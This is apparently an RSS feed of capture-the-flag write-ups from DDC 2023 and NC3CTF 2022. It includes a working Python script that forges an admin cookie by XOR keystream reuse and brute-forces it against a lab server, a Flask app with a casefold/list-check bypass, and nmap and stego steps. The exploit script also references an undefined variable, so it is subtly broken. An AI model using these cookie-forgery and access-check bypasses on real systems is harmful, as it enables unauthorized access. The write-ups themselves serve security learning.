#!/usr/bin/env python3
# remote_exploit.py
import json,requests

# Make cookie and plaintext
plaintext_dict = {}
plaintext_dict["access_level"] = "User"
plaintext = json.dumps(plaintext_dict).encode()

cookie = "" # Change me to the cookie from the server

# Convert cookie to bytes (hex -> bytes)
cookie = bytes.fromhex(cookie)

print(f"Plaintext (bytes): {plaintext}")
print(f"Plaintext (hex): {plaintext.hex()}")
print(f"Encrypted Cookie (hex): {cookie.hex()}")

# Calculate the keystream used in xor
keystream = []

print("\nCalculating keystream...")
for pt, ct in zip(plaintext, cookie):
    s = pt ^ ct
    keystream.append(s)
    print(f"{pt:02x} ^ {ct:02x} = {v:02x}")

# Encrypt new plaintext
new_dict = {}
new_dict["access_level"] = "Admin"
new_plaintext = json.dumps(new_dict).encode()

print(f"\nNew plaintext (bytes): {new_plaintext}")
print(f"\nNew plaintext (hex): {new_plaintext.hex()}")

new_ciphertext = ""

print("\nEncrypting new plaintext...")
for s, pt in zip(keystream, new_plaintext):
    ct = s ^ pt
    new_ciphertext += f"{ct:02x}"
    print(f"{s:02x} ^ {pt:02x} = {ct:02x}")

print(f"New Ciphertext (hex): {new_ciphertext}")

# Bruteforce the last (extra) byte
print("\nBruteforcing the last (extra) byte")
for i in range(2**8):
    ct = new_ciphertext + f"{i:02x}"

    # Bruteforce by using requests to the /flag path on the server
    print(f"Trying {ct}", end="...")
    r = requests.get("http://privilege.hkn/flag", cookies={"permissions": ct})
    # Look for "cookie" in the response, since the error message is:
    # "Something went wrong with your cookie" 
    if "cookie" not in r.text:
        print("Correct")
        new_ciphertext = ct
        break
    else:
        print("Wrong")

print(f"\nNew Ciphertext with correct extra byte (hex): {new_ciphertext}")

$ python remote_exploit.py
Plaintext (bytes): b'{"access_level": "User"}'
Plaintext (hex): 7b226163636573735f6c6576656c223a202255736572227d
Encrypted Cookie (hex): 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4efdf2619ed68

Calculating keystream...
7b ^ 0a = 71
22 ^ ea = c8
61 ^ f0 = 91
63 ^ b0 = d3
63 ^ fe = 9d
65 ^ 3a = 5f
73 ^ 89 = fa
73 ^ 74 = 07
5f ^ e6 = b9
6c ^ 24 = 48
65 ^ 4e = 2b
76 ^ 6e = 18
65 ^ a7 = c2
6c ^ 26 = 4a
22 ^ 5f = 7d
3a ^ 7c = 46
20 ^ 2f = 0f
22 ^ e4 = c6
55 ^ ef = ba
73 ^ df = ac
65 ^ 26 = 43
72 ^ 19 = 6b
22 ^ ed = cf
7d ^ 68 = 15

New plaintext (bytes): b'{"access_level": "Admin"}'

New plaintext (hex): 7b226163636573735f6c6576656c223a202241646d696e227d

Encrypting new plaintext...
71 ^ 7b = 0a
c8 ^ 22 = ea
91 ^ 61 = f0
d3 ^ 63 = b0
9d ^ 63 = fe
5f ^ 65 = 3a
fa ^ 73 = 89
07 ^ 73 = 74
b9 ^ 5f = e6
48 ^ 6c = 24
2b ^ 65 = 4e
18 ^ 76 = 6e
c2 ^ 65 = a7
4a ^ 6c = 26
7d ^ 22 = 5f
46 ^ 3a = 7c
0f ^ 20 = 2f
c6 ^ 22 = e4
ba ^ 41 = fb
ac ^ 64 = c8
43 ^ 6d = 2e
6b ^ 69 = 02
cf ^ 6e = a1
15 ^ 22 = 37
New Ciphertext (hex): 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a137

Bruteforcing the last (extra) byte
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13700...Wrong
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13701...Wrong
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13702...Wrong
...
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13741...Wrong
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13742...Wrong
Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13743...Correct

New Ciphertext with correct extra byte (hex): 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13743

Profit

We can then copy our calculated ciphertext and set it as our cookie in the browser:

and then reload the /flag site:

We have now stolen the flag from psyduck.

]]>DDC 2023 Qualification - Psssssyduckshttps://osiriz.dev/posts/2023/03/ddc-2023-qualification-psssssyducks/Mon, 20 Mar 2023 09:30:00 +0100https://osiriz.dev/posts/2023/03/ddc-2023-qualification-psssssyducks/Recon and Introduction At the given url (http://psyducks.hkn), we are met by the image of a psyduck: Devtools If we inspect the HTML in devtools, we can see that the image comes from /content?psyduck=brick: Going over to the storage tab in the devtools we can see that we have a cookie set for this site: We can decode it from base64 in cyberchef and see what it contains: It seems that the cookie contains a list of psyduck variants, if we change the brick from the /content?Recon and Introduction

At the given url (http://psyducks.hkn), we are met by the image of a psyduck:

Devtools

If we inspect the HTML in devtools, we can see that the image comes from /content?psyduck=brick:

Going over to the storage tab in the devtools we can see that we have a cookie set for this site:

We can decode it from base64 in cyberchef and see what it contains:

It seems that the cookie contains a list of psyduck variants, if we change the brick from the /content?psyduck= GET request to any of the others, we get a different image.

We may be able to use this to get a psyduck image not in the list by changing the entries in the cookie and get request.

Scanning for directories

We need some more information on how the site works, so we run gobuster to see if we can find some other directories and entrypoints on the server:

We find the /browse path, if we visit it in the browser we can see that it links to a backup.zip:

We then download and unzip this archive:

Analysis of the app.py file

We now have a copy of the app.py file the server is running:

#!/usr/bin/env python3
from flask import Flask,request,Response,render_template,abort,make_response
import json,random,os,base64

### Global variables
app = Flask(__name__)
allowedPsyducks   = ['normal','king','tea','cold','strong','shy','gentleman','sick','brick','sus','swole','scream','party','cool','panic','fast','happy','irl','oddish','onix','rain','sad','serene','smol','super','triple']
forbiddenPsyducks = ['princess']
allPsyducks = allowedPsyducks + forbiddenPsyducks


### Internal functions
def forbidden_psy(requested_psyduck:str,ip:str):
    if requested_psyduck.lower() in forbiddenPsyducks:
        # Localhost is allowed to view the magnificent psyducks
        if ip == "127.0.0.1":
            return
        # Outsiders are not!
        else:
            return abort(401)
    else:
        return

def check_favorite_requested(requested_psyduck:str,favourite_psyducks:list):
    return requested_psyduck in favourite_psyducks

def check_favorite_forbidden(favourite_psyducks:list):
    for favourite_psyduck in favourite_psyducks:
        if favourite_psyduck in forbiddenPsyducks:
            return False
    return True


### Flask functions
@app.route('/supersecretbackup/backup.zip')
def backup():
    return Response(backup_zip, mimetype='application/zip')

@app.route('/browse')
def dir_listing():
    # Show directory contents
    return render_template('browse.html')

@app.route('/content')
def retPsyduck():
    user_request = request.args.get('psyduck')
    user_ip = request.environ['REMOTE_ADDR']
    user_cookie = json.loads(base64.b64decode(request.cookies.get('MyFavoritePsyducks')).decode())['psy']

    # Ensure the requested psyducks is a favorite!
    if not check_favorite_requested(user_request,user_cookie):
        return Response('You can only request your favorite psyducks!')

    # Ensure user doesn't covet any forbidden psyducks!
    if not check_favorite_forbidden(user_cookie):
        return Response('You are not allowed to like that psyduck!')

    # Check the requested psyduck is not forbidden!
    forbidden_psy(user_request,user_ip)

    if user_request.casefold() in allPsyducks:
        if not check_favorite_requested(user_request.casefold(), user_cookie):
            return Response('You can only request your truly most favourite of psyducks!')
        with open('psyducks/'+user_request.casefold()+'.png','rb') as f:
            return Response(f.read(), mimetype='image/png')
    else:
        return Response('No Psyduck requested!')

@app.route("/")
def index():
    n = random.randint(0, len(allowedPsyducks)-1)
    res = make_response()
    cookie = base64.b64encode(json.dumps({'psy':allowedPsyducks}).encode())
    res.set_cookie('MyFavoritePsyducks', cookie)
    res.set_data(indexTemplate.replace('ZZZ',allowedPsyducks[n]))
    return res


### Main
with open('./templates/index.html') as f:
    indexTemplate = f.read()

with open('./supersecretbackup/backup.zip','rb') as f:
    backup_zip = f.read()

if(__name__ == '__main__'):
    app.run(host='0.0.0.0')

We are mostly interested in the /content route so we can strip out most of the file contents for our local version.

Here are a simplified version we can use for testing (with added comments):

#!/usr/bin/env python3
from flask import Flask,request,Response,render_template,abort,make_response
import json,random,os,base64

### Global variables
allowedPsyducks   = ['normal','king','tea','cold','strong','shy','gentleman','sick','brick','sus','swole','scream','party','cool','panic','fast','happy','irl','oddish','onix','rain','sad','serene','smol','super','triple']
forbiddenPsyducks = ['princess'] ## (WRITEUP) Name of psyduck they dont want us to see
allPsyducks = allowedPsyducks + forbiddenPsyducks


### Internal functions
def forbidden_psy(requested_psyduck:str,ip:str):
    ## (WRITEUP) Checks if our requested psyduck is the forbidden psyduck,
    ## (WRITEUP) if it is we need to be localhost.
    ## (WRITEUP) Notice the use of .lower()
    if requested_psyduck.lower() in forbiddenPsyducks:
        # Localhost is allowed to view the magnificent psyducks
        if ip == "127.0.0.1":
            return
        # Outsiders are not!
        else:
            return abort(401)
    else:
        return

def check_favorite_requested(requested_psyduck:str,favourite_psyducks:list):
    ## (WRITEUP) Checks if the requested psyduck is in the list from the cookie
    return requested_psyduck in favourite_psyducks

def check_favorite_forbidden(favourite_psyducks:list):
    ## (WRITEUP) Loops over all psyducks in the cookie list
    ## (WRITEUP) and checks if they are the forbidden psyduck
    for favourite_psyduck in favourite_psyducks:
        if favourite_psyduck in forbiddenPsyducks:
            return False
    return True


### Flask functions
@app.route('/content')
def retPsyduck():
    user_request = request.args.get('psyduck')
    user_ip = request.environ['REMOTE_ADDR']
    user_cookie = json.loads(base64.b64decode(request.cookies.get('MyFavoritePsyducks')).decode())['psy']

    ## (WRITEUP) 1st check: check if requested psyduck is in the list from the cookie
    # Ensure the requested psyducks is a favorite!
    if not check_favorite_requested(user_request,user_cookie):
        return Response('You can only request your favorite psyducks!')

    ## (WRITEUP) 2nd check: check if the list from the cookie contains the forbidden psyduck
    # Ensure user doesn't covet any forbidden psyducks!
    if not check_favorite_forbidden(user_cookie):
        return Response('You are not allowed to like that psyduck!')

    ## (WRITEUP) 3rd check: check if the user requested the forbidden psyduck
    ## (WRITEUP) and if the users ip is 127.0.0.1
    # Check the requested psyduck is not forbidden!
    forbidden_psy(user_request,user_ip)

    ## (WRITEUP) 4th and 5th check: make sure that the requested psyduck exist
    ## (WRITEUP) and if the requested psyduck is in the list from the cookie.
    ## (WRITEUP) Notice the use of .casefold() instead of .lower()
    if user_request.casefold() in allPsyducks:
        if not check_favorite_requested(user_request.casefold(), user_cookie):
            return Response('You can only request your truly most favourite of psyducks!')
        ## (WRITEUP) Finally return the image of the requested psyduck after passing all the checks.
        with open('psyducks/'+user_request.casefold()+'.png','rb') as f:
            return Response(f.read(), mimetype='image/png')
    else:
        return Response('No Psyduck requested!')


### Main
if(__name__ == '__main__'):
    app.run(host='0.0.0.0', 8080)

The goal seems to successfully request the princess psyduck by bypassing all the checks.

Bypassing the 1st and 2nd check

The 1st check is easy to get by, we just need to write the psyduck we request to the list in the cookie.

The 2nd check is where it becomes difficult, we can’t just use princess as the get request and cookie.

We can use Princess (with capital P), since "Princess" != "princess". It will still return the correct image since .casefold() will make the capital P to lowercase.

Bypassing the 3rd check

We cant bypass the third check with this though, since it uses .lower() before it compares.

To bypass this we will use a unicode trick that uses the difference between .lower() and .casefold(), for this we will use the german sharp S (ß, 0xC39F in UTF-8), since .casefold() converts it but .lower() doesn’t:

In [1]: 'ß'.lower()
Out[1]: 'ß'

In [2]: 'ß'.casefold()
Out[2]: 'ss'

so if we use ß instead of the double s, we can bypass the 3rd check and still get the correct filename.

Bypassing the 4th and 5th check

The 4th check is really easy to bypass, since it casefolds itself out to the correct string.

The 5th check is where it becomes hard, now we need our cookie to contain princess, but if we do this we will fail the 2nd check.

So it seems that we need to cookie to contain and not contain princess. How is this possible?

Well it actually only seems this way because we up untill this point held on to the fact that out favorite psyducks were in a list.

But the code actually never checks if it decodes it to a list, if we change it to a string instead we can actually bypass both the 2nd and 5th check at the same time. Since the 5th just asks if princess is in the cookie, but the 2nd check loops over elements (which is single chars for a string), we can set the cookie to:

{"psy": "princessprinceß"}

All checks that ask if something is in the cookie will now check if the substring exists in the string from the cookie.

Solved and Flag

We encode our own cookie and set it in our browser:

and set the get parameter to then get the flag:

]]>DDC 2023 Qualification - the Key Store Versionhttps://osiriz.dev/posts/2023/03/ddc-2023-qualification-the-key-store-version/Mon, 20 Mar 2023 09:30:00 +0100https://osiriz.dev/posts/2023/03/ddc-2023-qualification-the-key-store-version/We are asked to find the version of a key-value store hosted on keystore.hkn. We first look for open ports using nmap: $ nmap -p- keystore.hkn Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 10:30 EDT Nmap scan report for keystore.hkn (77.184.238.37) Host is up (0.00025s latency). Not shown: 65534 closed tcp posts (conn-refused) PORT STATE SERVICE 6379/tcp open redis Nmap done: 1 IP address (1 host up) scanned in 3.We are asked to find the version of a key-value store hosted on keystore.hkn.

We first look for open ports using nmap:

$ nmap -p- keystore.hkn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 10:30 EDT
Nmap scan report for keystore.hkn (77.184.238.37)
Host is up (0.00025s latency).
Not shown: 65534 closed tcp posts (conn-refused)
PORT     STATE SERVICE
6379/tcp open  redis

Nmap done: 1 IP address (1 host up) scanned in 3.20 seconds

We can see that redis is running on port 6379, lets scan the version on that port:

$ nmap -p6379 -sV keystore.hkn
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 10:30 EDT
Nmap scan report for keystore.hkn (77.184.238.37)
Host is up (0.00031s latency).

PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 7.0.8

The key-value store version is Redis key-value store 7.0.8 so the flag is DDC{Redis key-value store 7.0.8}

]]>DDC 2023 Qualification - What Is Logginghttps://osiriz.dev/posts/2023/03/ddc-2023-qualification-what-is-logging/Mon, 20 Mar 2023 09:30:00 +0100https://osiriz.dev/posts/2023/03/ddc-2023-qualification-what-is-logging/We are given a text file called logs.txt, it is 953 lines long and 243 Kilobytes big: $ wc -l logs.txt 953 logs.txt $ ls -lh logs.txt -rw-r--r-- 1 osiriz osiriz 243K Mar 20 10:30 logs.txt We can find the flag with grep: $ grep &#34;DDC{&#34; logs.txt 130.225.166.251 - - [25/Feb/2023:12:42:51 +0100] &#34;POST /submit/flags/what-is-logging/DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D} HTTP/1.1&#34; 200 5082 &#34;https://api.ntp-event.dk/&#34; &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.We are given a text file called logs.txt, it is 953 lines long and 243 Kilobytes big:

$ wc -l logs.txt
953 logs.txt

$ ls -lh logs.txt
-rw-r--r-- 1 osiriz osiriz 243K Mar 20 10:30 logs.txt

We can find the flag with grep:

$ grep "DDC{" logs.txt
130.225.166.251 - - [25/Feb/2023:12:42:51 +0100] "POST /submit/flags/what-is-logging/DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D} HTTP/1.1" 200 5082 "https://api.ntp-event.dk/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.50"

We can see that the flag was found as DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}

]]>NC3CTF 2022 Starter Challengeshttps://osiriz.dev/posts/2022/12/nc3ctf-2022-starter-challenges/Wed, 14 Dec 2022 10:30:00 +0100https://osiriz.dev/posts/2022/12/nc3ctf-2022-starter-challenges/Base64 We are given the following string: bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ== We can decode the base64 in a shell with the base64 command: $ echo &#34;bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==&#34; | base64 -d nc3{wow_base64_er_vildt_nok} We have now got the flag Regler We are asked to read the ctf rules, when we do so we find the flag at the bottom: nc3{Tak_fordi_du_kiggede_paa_reglerne} Strings We are given a file called strings that is 16 KB and a ELF executable:Base64

We are given the following string:

bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==

We can decode the base64 in a shell with the base64 command:

$ echo "bmMze3dvd19iYXNlNjRfZXJfdmlsZHRfbm9rfQ==" | base64 -d
nc3{wow_base64_er_vildt_nok}

We have now got the flag

Regler

We are asked to read the ctf rules, when we do so we find the flag at the bottom:

nc3{Tak_fordi_du_kiggede_paa_reglerne}

Strings

We are given a file called strings that is 16 KB and a ELF executable:

$ ls -lh
-rw-r--r-- 1 osiriz osiriz  16K  1 dec 19:29  strings

$ file strings
strings: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=0b230c84c7a83f5633a1087dfd516d9a2f815ea8,
for GNU/Linux 3.2.0, not stripped

Running the file doesn’t give us the flag though:

$ ./strings
Flaget findes ikke ved at eksekvere mig!
Men flaget er da 28 tegn langt.

But if we run strings command on the file we are able to find the flag:

$ strings ./strings | grep "nc3{"
nc3{strings finder flaget!}
]]>NC3CTF 2022 Stegohttps://osiriz.dev/posts/2022/12/nc3ctf-2022-stego/Wed, 14 Dec 2022 10:30:00 +0100https://osiriz.dev/posts/2022/12/nc3ctf-2022-stego/10 We get a file called et-nul, running file tells us it is a long line of ASCII characters: $ file et-nul et-nul: ASCII text, with very long lines (1330), with no line terminators The file contains: 0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100011100011011000011011000001100110000110000000000110000000000001110001101100000110110000000000000000001100000110011000000000000000111000110011001100001101100001101100000001110001101111000011001111001101100000000000000110011000011000000000011000000000000111100110110000011011000000000000000000110000011001100000000000000011110011001100110000000110000000110000000111100110111100001100110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111011001111011000000000000001100110000110000000000110000000000001100111101100000110110000000000000000001100000110011000000000000000110011110011000000001100000001101100000001100111100000000011001100011101100001101100000110011000011000000000011000000000000110001110110000011011000000000000000000110000011001100000000000000011000111001100110000110110000110110000000110001110111100001100110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100 By splitting the text into 7 lines of equal length the message reveals itself (don&rsquo;t focus too hard or you wont see it): 0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100 0111000110110000110110000011001100001100000000001100000000000011100011011000001101100000000000000000011000001100110000000000000001110001100110011000011011000011011000000011100011011110000110 0111100110110000000000000011001100001100000000001100000000000011110011011000001101100000000000000000011000001100110000000000000001111001100110011000000011000000011000000011110011011110000110 0110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111 0110011110110000000000000011001100001100000000001100000000000011001111011000001101100000000000000000011000001100110000000000000001100111100110000000011000000011011000000011001111000000000110 0110001110110000110110000011001100001100000000001100000000000011000111011000001101100000000000000000011000001100110000000000000001100011100110011000011011000011011000000011000111011110000110 0110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100 We then got the flag: NC3{ET_NUL_TIL_NISSEN!10

We get a file called et-nul, running file tells us it is a long line of ASCII characters:

$ file et-nul
et-nul: ASCII text, with very long lines (1330), with no line terminators

The file contains:

0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100011100011011000011011000001100110000110000000000110000000000001110001101100000110110000000000000000001100000110011000000000000000111000110011001100001101100001101100000001110001101111000011001111001101100000000000000110011000011000000000011000000000000111100110110000011011000000000000000000110000011001100000000000000011110011001100110000000110000000110000000111100110111100001100110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111011001111011000000000000001100110000110000000000110000000000001100111101100000110110000000000000000001100000110011000000000000000110011110011000000001100000001101100000001100111100000000011001100011101100001101100000110011000011000000000011000000000000110001110110000011011000000000000000000110000011001100000000000000011000111001100110000110110000110110000000110001110111100001100110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100

By splitting the text into 7 lines of equal length the message reveals itself (don’t focus too hard or you wont see it):

0110000110011111100011111110000111101111111101111111100000000011000011011000001101100000000000000011111111011110110000000000000001100001101111001111110001111110011111111011000011011110111100
0111000110110000110110000011001100001100000000001100000000000011100011011000001101100000000000000000011000001100110000000000000001110001100110011000011011000011011000000011100011011110000110
0111100110110000000000000011001100001100000000001100000000000011110011011000001101100000000000000000011000001100110000000000000001111001100110011000000011000000011000000011110011011110000110
0110110110110000000011111110011100001111110000001100000000000011011011011000001101100000000000000000011000001100110000000000000001101101100110001111110001111110011111100011011011001100000111
0110011110110000000000000011001100001100000000001100000000000011001111011000001101100000000000000000011000001100110000000000000001100111100110000000011000000011011000000011001111000000000110
0110001110110000110110000011001100001100000000001100000000000011000111011000001101100000000000000000011000001100110000000000000001100011100110011000011011000011011000000011000111011110000110
0110000110011111100011111110000111101111111100001100001111111011000011001111111001111111101111111000011000011110111111110111111101100001101111001111110001111110011111111011000011011110111100

We then got the flag: NC3{ET_NUL_TIL_NISSEN!}

I farezonen

We are given the image dz.jpg

Trying steghide with no passphrase doesn’t find any thing. We can instead use stegseek to try and find a passphrase that works:

$ stegseek dz.jpg rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "0815julemaus"
[i] Original filename "flag.txt"
[i] Extracting to "dz.jpg.out"

$ cat dz.jpg.out
nc3{yes_endnu_en_stegoopgave}

We have now found the flag

Juledigtet

We are given the image juledigt.png

We can see the text is flipped on its head, we can flip it vertically to fix it

All the green squares are different shades of green, if we take the RGB value of the first three green squares we get:

# 146e14
# 146314
# 143314

The green channel in these values is the only thing that changes, and if we convert the green channel values to ASCII from Hex we get nc3

If we then continue taking the green channel value for each green square we get:

6e 63 33 7b 52 47 42 5f 6d 65 6e 5f 6b 75 6e 5f 64 65 6e 5f 67 72 6f
65 6e 6e 65 21 31 65 74 21 7d

which converted to ASCII gives us the flag:

nc3{RGB_men_kun_den_groenne!1et!}
]]>